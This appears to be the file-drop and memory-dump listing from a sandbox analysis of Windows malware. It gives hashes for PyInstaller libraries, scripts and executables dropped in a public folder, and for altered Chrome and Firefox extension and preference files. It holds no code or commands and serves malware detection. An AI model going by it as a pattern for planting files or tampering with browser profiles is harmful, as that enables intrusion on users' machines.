C:\Users\Admin\AppData\Local\Temp\_MEI42122\base_library.zip

MD5 8dad91add129dca41dd17a332a64d593
SHA1 70a4ec5a17ed63caf2407bd76dc116aca7765c0d
SHA256 8de4f013bfecb9431aabaa97bb084fb7de127b365b9478d6f7610959bf0d2783
SHA512 2163414bc01fc30d47d1de763a8332afe96ea7b296665b1a0840d5197b7e56f4963938e69de35cd2bf89158e5e2240a1650d00d86634ac2a5e2ad825455a2d50

C:\Users\Admin\AppData\Local\Temp\_MEI42122\_bz2.pyd

MD5 7768e3da5a04fa817e7dccc2508a411c
SHA1 2bbd7b9ffea0fe8f19992b39593910dc5808c013
SHA256 fe351e980e0c098f33615e0d54aef87eb79aebb9a0b179f33bcf0f93fc9a6338
SHA512 e219cf8a0929a211336d4e6e4345603ddc209df5994755ac144870b93d6d72d96cb4617aace8015195e62c031146043b255409576b3bbd89a725fe8c1ef8ba67

C:\Users\Admin\AppData\Local\Temp\_MEI42122\_ssl.pyd

MD5 ff678e483e580cfb5c78b0485645fc59
SHA1 fe3e0db48f4ae86040a4cda5f0c5cf012a09fd28
SHA256 0e97b0f87c7b9ec74d9162fc6e41a800f60825167c50845031c2207dcddf3346
SHA512 637e3662f6d541d14ac2817e301b3d882e159bbf08f15f8bac1eee2a29973cd999efde1252db0a4a085741f8ea0d99bbbfb175114058937e2074dc7aa1d419cb

C:\Users\Admin\AppData\Local\Temp\_MEI42122\_socket.pyd

MD5 dc3270c15c0bb4bff94a16575377f403
SHA1 333c5003215e0a903cbdc9f8d1747d46df34ada2
SHA256 ebfc54652c2d3b4fc0f69b06972b056060e55f6aab06bf0caa1328c5e76eb118
SHA512 327ff12b3b5ad264aa6478227658d3d59073a6606ec675236df0f0d33d723fa9e7fbf8a80b5cdbab1b2522ae51769c5425fd95f2c870fb546199de95478e3e88

\Users\Admin\AppData\Local\Temp\_MEI42122\select.pyd

MD5 c66bc949390c8af8573f877f506d2a6c
SHA1 68730f0ac9e023eecfec9c8b1546e6c8678dc54f
SHA256 ac861ea9320c0ec16c1c8eaa68fbf35dcff977d4e980bd50cdc7195d6f00e9e4
SHA512 fd498a872596843e3161955d482371c7ca4690105b5ed4417d26b3b9533c0ac1e7a9627c4900d38320800eb30fc20b1377bb64bbf909b896e31ec401e057d0a8

\Users\Admin\AppData\Local\Temp\_MEI42122\libssl-3.dll

MD5 8b8fb5ec8d5fca88463bb9ad9fa23344
SHA1 cbc26ffca78f03b146c84925749029ca2777b30a
SHA256 b777ccc04c05ca5b0a6ff68e6c46ad9837dc02311ee132ad6a81910f4a1ed54f
SHA512 3763752732822b80622d5260745313575993f535b1fed49434483b644009eb09ab91a1a7f32df22ada477d873ddb0726e0ab5e9416b08fa70e6446d8e981104d

\Users\Admin\AppData\Local\Temp\_MEI42122\libcrypto-3.dll

MD5 2e9277a5dd088949086d450da0e5f4e8
SHA1 c939886464bb65dc4667d8e477d97a619eadddfc
SHA256 7de51a1913ca3b10027f83d99ccccb166d6a3c06ca5d6358f260342dbacdbf6a
SHA512 9f16c77cd90e1b6657f3d2cbd131273bf24becff01c198690ebadb2c454e3f84b88a7e9c6fecdb7f564e1aa99a5583bbd1933e5db408efce3a9095776fa1a056

\Users\Admin\AppData\Local\Temp\_MEI42122\_hashlib.pyd

MD5 144ea77a7bf8cebd601ba88147b1e3a5
SHA1 1c198c5d5a11bb1a6f7e8482741d7c201b095929
SHA256 05f013509826fb8a690403baa9e8879d577b67fc9a7e8c1f09aa054a9339eca2
SHA512 20dce3609d932c6c7d40d70d69d826448c6175470c27fabbde132bfb198b207b5d7477dbc53280dee5ed40d88a646ab1164a3826803b961180db46d628c3ab55

\Users\Admin\AppData\Local\Temp\_MEI42122\_queue.pyd

MD5 aad725ff62836169e0b09a8833c70b7a
SHA1 09b5c0d4ea306c67708cf853e8e89a34f9b1682b
SHA256 0cb74d8aad8805c081c5585aef216828c010545469164067294d38b9410d3e2c
SHA512 995862ed27b01cdff796d376def382f3e16010a726b0ccbb5444eafaffd6515d7a1c1d8af11915c0df19860601f113a3e047a6094e579ce1939a039afef6a89a

\Users\Admin\AppData\Local\Temp\_MEI42122\_lzma.pyd

MD5 3445dfd51b2f41d60d5c2508b4be33d5
SHA1 bd40e271e588bbfffc3624c50fcd15cb5cf382be
SHA256 e2ca5e4bd2fbdb52069c90182fea1873b111a2045f7e26cdb3772896d1a199ef
SHA512 5da1c72b1749db04f1cd71c20e536b8899d2fe05ca730233bd5e6db91cbfa7e45d2ec157668fe5d7a1ef28377b206f277a945106dff6a635942129810ab62c74

\Users\Admin\AppData\Local\Temp\_MEI42122\unicodedata.pyd

MD5 c190e5d70fdcdd1cbeaa23de04795c97
SHA1 86abddf9d67aabd6d744e12114c2764d2cba2156
SHA256 4e60bd8e5d8676f1b2ca30f06c5bb858cd6db35801ffbf6b6ceec336d880e808
SHA512 328e80e68391d0e84b8a02c6b1a9231a8376c45286e6669880a65a140943f55e9e0e83c16dd4fc636811298f583d4570ca9b718bd0ee19ef8ec75f711af428d3

C:\Users\Admin\AppData\Local\Temp\_MEI42122\pywin32_system32\pythoncom312.dll

MD5 fada0e603afb67d1893cde008e118dc7
SHA1 cb13da46b767c873ba9b563dc69ab3c6dd45d6ed
SHA256 b02fd24536f917bbd110da4712106a391e453cc6323f4e6c60a683f077b1514e
SHA512 3f6a2ee6f612d3b18708318660ac0a00efb2bdab202eba9dd0539f65bf8f2a125c3717b6cf254c15520b0a34b016ea9ccd1d06e88d408bad94f79a2b1a5a4da3

\Users\Admin\AppData\Local\Temp\_MEI42122\pywin32_system32\pywintypes312.dll

MD5 7aa3274f9d767fe6c2994b455fe33a64
SHA1 b1bd2b0635710fa8252b1300a96700c9569e84cb
SHA256 5beb99a5e1e83b8f5e4a6c6185348f689f73071c0b68b6a70964ea53c5c17f22
SHA512 9fa282afc951612ca26c5b78bb3e2091b6cb3b17b2ad21f67a2f79387161519dbf80c52c2ad62e8575abebfef7ec48a296390a9a8a678db31bb09d01ff04f4cc

\Users\Admin\AppData\Local\Temp\_MEI42122\python3.dll

MD5 97386f12a1c19e14451f5e4697e5fdc8
SHA1 6bee5f0a7b8863779a02491c93cb46cd8b6916ef
SHA256 130632508b1a7f6293bb67e13441e0e21164a5df8e5dabaec9ebe73a35544bad
SHA512 66dbf574585bd72f2487f341026a811533740241bea1a33395f8967c4b9283aa35c7d765a03337cdec4f56ea5940ef02491d9fdee497a2deb5fc4296d19261e2

C:\Users\Admin\AppData\Local\Temp\_MEI42122\_decimal.pyd

MD5 bfddafd620167cd795a3d17895e4f5d7
SHA1 2c545940e7da32caddc07fbc96e3b543a085a34d
SHA256 2f994d1555703739de1f4498d0196c5f96dfffad0eb60b161718c16168b53bd1
SHA512 55dbfcd5083e411d1361b2219c752543a2aa7587c4eeb876407b33d421b64fb432da2cedc629e92c8d45702058cd47e74d645aedac730b3dd3d65b611e9c260e

C:\Users\Admin\AppData\Local\Temp\_MEI42122\_cffi_backend.cp312-win32.pyd

MD5 795674562f6495081500cd0e7c1770f1
SHA1 bfe59f036f08213b8299ab6c1a5cbf361b387210
SHA256 1f841ec41003f74e656735ed74b84365427ef6e330c312fa458d2cee9cedc99b
SHA512 fa6250afb16f5a69d070dc261df858b23d740054beaf8469842018d805e4af0803cb98d3247e14c09f0613745d7282f5b3290f9157a5d3c96a0f8f313286db2d

C:\Users\Admin\AppData\Local\Temp\_MEI42122\win32\win32api.pyd

MD5 91c7e0eda0d840c320815c6e914b02cf
SHA1 7024fe76f7585b8a634e762a1d5686fbba5f6437
SHA256 0ac64c91f49af4a1b86446c85e53e9ee899e27047368f9819a3c16c6e53454ab
SHA512 3e59849b891a833807c6c6eb6253c57effcf3c2b95bb430a17ce676e4b5bb3fb0d335effd6a794e2a910f29fa68d11f81e6ddc3a8e18336fc5e80c49891d8cf0

C:\Users\Public\make.vbs

MD5 604412d14042ed3537e121774b7988a1
SHA1 f6c7cd482d0a2bf28e6b6b63a9b3cf8268d8e692
SHA256 93cdd5eddec0e5602d1811437654ea75ff17aae196edf4d0cb45e85160c46a13
SHA512 bf15cafc971000cf5886401315ad65e30280b8e1dbc8fb6e15290a280109586920676c57a0d4b8af28cb1b742cdc84a5b5b473cb5592b8e229d3caa2f82698e0

C:\Users\Public\make.vbs

MD5 24edf70cd3dfaed22ccbfcdb46fedb6a
SHA1 34ce910db6cc63654a3bbc117397ad26c6136ac9
SHA256 2d2114848d90467e84cce62f55f894488f751e1c5ce38d9a83f265d5b330b4ed
SHA512 657cbf6b5bcaf8a20169636b55537cdf5dcc7995406fec3ed83941826c1292b118632f780183b2b8ea4bb251ac4740e7dfa472d73c9d9863efcdf3ef441a7a69

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Public\make.vbs

MD5 cc3d3ed7869701b037203bea64221135
SHA1 88a4818165efc31cfac7534aa1cef73dc08972ce
SHA256 a1340d619e4952340929cf07848de213d5ab27e2b9ab8399a52d1c8fdec8ab67
SHA512 f0d8d4fd64e1aaa30d0045017cbc36c5297dd6725a87a4dd8d528f80cc838de9295e2483eae5296ab774616b88bccdce0061f495c3e93c317236301dcece7981

memory/1216-109-0x0000000006A30000-0x0000000006A66000-memory.dmp

memory/1216-110-0x00000000071C0000-0x00000000077E8000-memory.dmp

memory/1216-111-0x0000000002F00000-0x0000000002F22000-memory.dmp

memory/1216-112-0x00000000070A0000-0x0000000007106000-memory.dmp

memory/1216-113-0x0000000007110000-0x0000000007176000-memory.dmp

memory/1216-114-0x00000000077F0000-0x0000000007B40000-memory.dmp

memory/1216-117-0x0000000004900000-0x000000000491C000-memory.dmp

memory/1216-118-0x0000000006E60000-0x0000000006EAB000-memory.dmp

memory/1216-119-0x0000000007D20000-0x0000000007D96000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_25tudczz.jpy.ps1

MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

memory/1216-134-0x0000000008C10000-0x0000000008CA4000-memory.dmp

memory/1216-135-0x0000000008B40000-0x0000000008B5A000-memory.dmp

memory/1216-136-0x0000000008BA0000-0x0000000008BC2000-memory.dmp

memory/1216-137-0x00000000091B0000-0x00000000096AE000-memory.dmp

C:\Users\Public\File1.exe

MD5 115d4283a126ef5b8da99582cfaf9b17
SHA1 bc3343e28434368e95ab31f1edeaa1baaffc9e95
SHA256 e1cad6961c9fcbbcb8a974c5d6cc58a248d2d69880d1ca8355ef8a92c3bc8afc
SHA512 1d78d9f9b8a2e7bb3c7505edd808e3dae5b9b782483ecd1de07012e3dd30eb21e3b13712177b64a5c8aa229244f1eb2c6794aa44b5ea2dd2771b5b3109a0f4e4

memory/2136-147-0x0000000000D30000-0x0000000000D84000-memory.dmp

memory/4216-152-0x0000000000400000-0x0000000000459000-memory.dmp

memory/4216-154-0x0000000000400000-0x0000000000459000-memory.dmp

memory/4216-156-0x0000000000400000-0x0000000000459000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 8b087de0136e2dba9769520a9ac4f1ee
SHA1 c8a47eee764a953026fd8d1d6a21cf8abe174b51
SHA256 82b7f2d89eeb273fa991f643fa784b90100091a707454a526bb85736d0475796
SHA512 ce8d2366c642459c48eb9fb00e702d92f005c6063cc8fdb5bf60f49f2316d10ef36f80b039b031b0c4574b4c260fdc6358672ddbdc252f2a0316b024c86b95ae

C:\Users\Public\make.vbs

MD5 66232297ab8364e4ab1413149fa28778
SHA1 b94045bf663494af1907a461ec36d60d5e2c2b0c
SHA256 317a69633fe3714a2321edb7223a9dc68f84aab3477567f400772a3abe16c13f
SHA512 01abaf92bec4ddb5f64c13aecbd24a58d814dacc32218709cef1c8d53cdce32ad030957661364b8d4a6bb6ae0b8f430aba1064d888bd89e0e18d8587ef21d9ec

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

MD5 7ef69911439efbfce917471c31f0c86f
SHA1 f28365cbe8565c5070af973fe188391c83b07a23
SHA256 6d017267e7cdf31c4dee6c56722c65cbabf434379e36202f7c4cf10b08b0bc75
SHA512 55085bc668fb39863b9969b8127fd2aec8970ea4ff1e1450b730f5e526e9a5663eceab900a825d0a63f9a88b0bae1ca7b2cd9249f5c5708d10ad88d454cb482c

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 efcf4b6cc4a1c8e8af6bcb4719e2fac7
SHA1 3682567e9c012db6fb65216ff1dadeea1b190bc7
SHA256 563d2b8c18e8f6a0f76eda85e6e47a17142ec080600d02205fadc36b4c7bdc6d
SHA512 2b3efff8d1e4ca4e74676015321a5424e92d53bba03a1658e7742a9db88c51bcff23b4b9340d51873763fe42e6d7bef4be4928bb1d0d9577e74d891fb0611ec5

memory/1336-172-0x0000000008350000-0x00000000086A0000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 2d1822047daae3677bce4617979ef56f
SHA1 df7ad0dd9ea09416ce8405991328f2d083e8235c
SHA256 e8efae576f263b615f07f992139e264ee870fd6b08e5b4c39103e87019bae806
SHA512 eac4f11f889361bac0f600fd4e5df9bc07fc429eb7fce1fb75a1477812207941ca2a8d7c7410acc8801a45d34b9853fcc9f205429676534d7fe342a82cb7a15b

memory/1336-176-0x00000000088B0000-0x00000000088FB000-memory.dmp

C:\Users\Public\Windows.exe

MD5 cc70a5edd4a5a8db874c97d21119f59d
SHA1 4b1d7b51e875a4b6aa05967459e17ea0d3286f39
SHA256 4311121804332b647e02280a9c551c85c16a46f24f2d2107a9bdceaa8923afa1
SHA512 f2806d7988073539723708821f0246021a77724c992901282036f77bdb57ddf7e495644d7f00c6f96fd3aa0fa65e6142ed9e823c2cab1474d41ee5bc083b2268

C:\Users\Public\make.vbs

MD5 2984059e341e42c0f34e0b5fe4f2f3d1
SHA1 444fd218f43d8a4286c024f08d84a8ac38e18bba
SHA256 6214a167b290b206611f527f281ae5ace91918cd8d6e77a1c8a01a13465b99ba
SHA512 786be5ea24debffbfbc5737fa497ccef97507bb0a76f93544a9f8e5f02f89a5e83382aa78058d962de3330addd86aee5be32b8c15382f79666ff94885cace168

memory/4564-204-0x0000000000400000-0x0000000001065000-memory.dmp

C:\Users\Public\make.vbs

MD5 ed2fc077f746f28281b9fe0626c41b61
SHA1 fac7d476679773b6beef32c9c99a3d9d5df9ceed
SHA256 b48e03c1e333435ab55a86861d9655f6ddab65cde214995dfd1cf07e6b821b6d
SHA512 77e5d23a2139afaeeee9aad0b8ca1751b6187b1e8bdf72114fdbd094f34aee00ef952305575e9c5976a0a80fb049dba1ae1a2030c24b48c60643ebfcb5966f77

C:\Users\Admin\AppData\Local\Temp\_MEI42122\certifi\cacert.pem

MD5 59a15f9a93dcdaa5bfca246b84fa936a
SHA1 7f295ea74fc7ed0af0e92be08071fb0b76c8509e
SHA256 2c11c3ce08ffc40d390319c72bc10d4f908e9c634494d65ed2cbc550731fd524
SHA512 746157a0fcedc67120c2a194a759fa8d8e1f84837e740f379566f260e41aa96b8d4ea18e967e3d1aa1d65d5de30453446d8a8c37c636c08c6a3741387483a7d7

memory/4564-209-0x0000000000400000-0x0000000001065000-memory.dmp

memory/4564-220-0x0000000000400000-0x0000000001065000-memory.dmp

memory/2480-247-0x0000000008640000-0x0000000008990000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 a62fcd65c472549e0b6b1c4244b4bf07
SHA1 c88a7f0eb085baa53356cfd961177dc372fc2ecf
SHA256 b4f15cef77d000bd0588471404c670db97557f9f4069e29878156890d9448497
SHA512 52ee39d0ce74d35ab238778daec885b13e8bded0559d4e66cd398f0b6c61604ccb144687edef0c794be5a5f278277ec7c64f51046b0e20ce689daadd7979d29e

memory/2480-251-0x0000000008BA0000-0x0000000008BEB000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\7zS60C4.tmp\Install.exe

MD5 46ae45c09fb5d6fbcedbcab1191d0bf8
SHA1 16468bd990d28a9357735d3253de4858c55b4dd9
SHA256 949e6819e781f199332657e2011b78fc7e8e6f3109541fd449a53b30783f079e
SHA512 c0918caec3296217d18e2ba67673ebe61a4cd16872a021d3d2f15f3acc26ab1a72cfb4206d814780a9354699e21431399bd892bb5e5eb8da33f55a345f0b2cf6

memory/1412-280-0x0000000000A40000-0x00000000010ED000-memory.dmp

memory/1480-283-0x0000000007E60000-0x00000000081B0000-memory.dmp

memory/1480-284-0x0000000008340000-0x000000000838B000-memory.dmp

memory/4980-305-0x0000000000BD0000-0x0000000000BE1000-memory.dmp

memory/4980-306-0x0000000072A00000-0x0000000072B3C000-memory.dmp

memory/1412-307-0x0000000010000000-0x00000000105D2000-memory.dmp

memory/3116-313-0x0000000008380000-0x00000000086D0000-memory.dmp

memory/3116-314-0x0000000008830000-0x000000000887B000-memory.dmp

memory/1412-328-0x0000000000A40000-0x00000000010ED000-memory.dmp

memory/2988-331-0x0000000000BD0000-0x0000000000BE1000-memory.dmp

memory/3064-346-0x0000000006060000-0x00000000063B0000-memory.dmp

memory/1260-347-0x0000000000BD0000-0x0000000000BE1000-memory.dmp

memory/3064-348-0x00000000067E0000-0x000000000682B000-memory.dmp

memory/2152-372-0x0000000010000000-0x00000000105D2000-memory.dmp

memory/3212-410-0x0000020BFE640000-0x0000020BFE662000-memory.dmp

memory/3212-413-0x0000020BFE920000-0x0000020BFE996000-memory.dmp

memory/2152-435-0x0000000000A40000-0x00000000010ED000-memory.dmp

memory/4900-443-0x00000000008F0000-0x0000000000F9D000-memory.dmp

memory/4900-468-0x0000000010000000-0x00000000105D2000-memory.dmp

memory/4900-482-0x00000000023B0000-0x0000000002435000-memory.dmp

memory/2912-496-0x0000000006680000-0x00000000066CB000-memory.dmp

C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi

MD5 d411dfa84366507401e900d305edcf93
SHA1 3211a9b9f21ef169db2c354c4eeed67a6224dd97
SHA256 1e3a0c164b6c5b9e47a6239731bd3fcf643d26bd52edefa58b9815bfa3f46205
SHA512 c79073208cf89afd96f017c517c5af517c4e622556a8029f0db0d2c4300a9ed7d9b8846bb7c38606a8fd7ecc18b6b0123a31e8929f6e77f1a655a89ef35bacc9

memory/4900-534-0x0000000002C00000-0x0000000002C65000-memory.dmp

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json

MD5 238d2612f510ea51d0d3eaa09e7136b1
SHA1 0953540c6c2fd928dd03b38c43f6e8541e1a0328
SHA256 801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e
SHA512 2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json

MD5 2a1e12a4811892d95962998e184399d8
SHA1 55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720
SHA256 32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb
SHA512 bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json

MD5 0b1cf3deab325f8987f2ee31c6afc8ea
SHA1 6a51537cef82143d3d768759b21598542d683904
SHA256 0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf
SHA512 5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

memory/4900-708-0x00000000008F0000-0x0000000000F9D000-memory.dmp

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

MD5 7cf51d8f03aa6753df3be2d79e8242b0
SHA1 cae2fb39fe1c988f98afd82ebd89919b0d4c903a
SHA256 09dfb7ebeb02fed32a12719aad3f9e483c7555cf607499dd30d9bf31e910d33c
SHA512 e7cdf06effe2c806eecfaa8a9aa4097196a6937f8f90b96b1bb45c81ee846d110df71e090bfeb913383a30d4089c5c136dfc3e7ffbb340f6216c022366bef1c0

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wjyk7j4u.default-release\prefs.js

MD5 b9e340f85e3228d0df652af3d8cd4eb8
SHA1 7290a9a33cfa407f5b8f5323c14002cf6b2a4650
SHA256 bb7160d187e79c59144382a1dc1db05f55063ff5a8874e4ef35a9ab9522509f0
SHA512 ca5e268d4608f575224602d7755c26fb00300e6198eddb8d38002e16358e9c960d18db3f64b0c916bcf51a2f49806702140ac2157e442a36bdcf072391d7a97f

memory/4900-711-0x0000000003670000-0x00000000036F9000-memory.dmp

memory/3984-723-0x0000000003330000-0x0000000003902000-memory.dmp

memory/4900-721-0x0000000003700000-0x00000000037DC000-memory.dmp

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 cf624a35ee40ce25109eaf9b54f7f4ab
SHA1 db7c5a4b8097e46b137b4b8c38ce806681ef0f5f
SHA256 5420e2450014d8d873a2e98a639ada9516cdf2b7366c6f84d6d8c7f169b027a1
SHA512 bbfb5d030e1dffdb08733621173363dadb37e70c48815b79ac14ac8f33b691bf1198c1681ea59f01b5e21acdaccb1b6162b4370ec9a4d18a6d54b48766dff8c0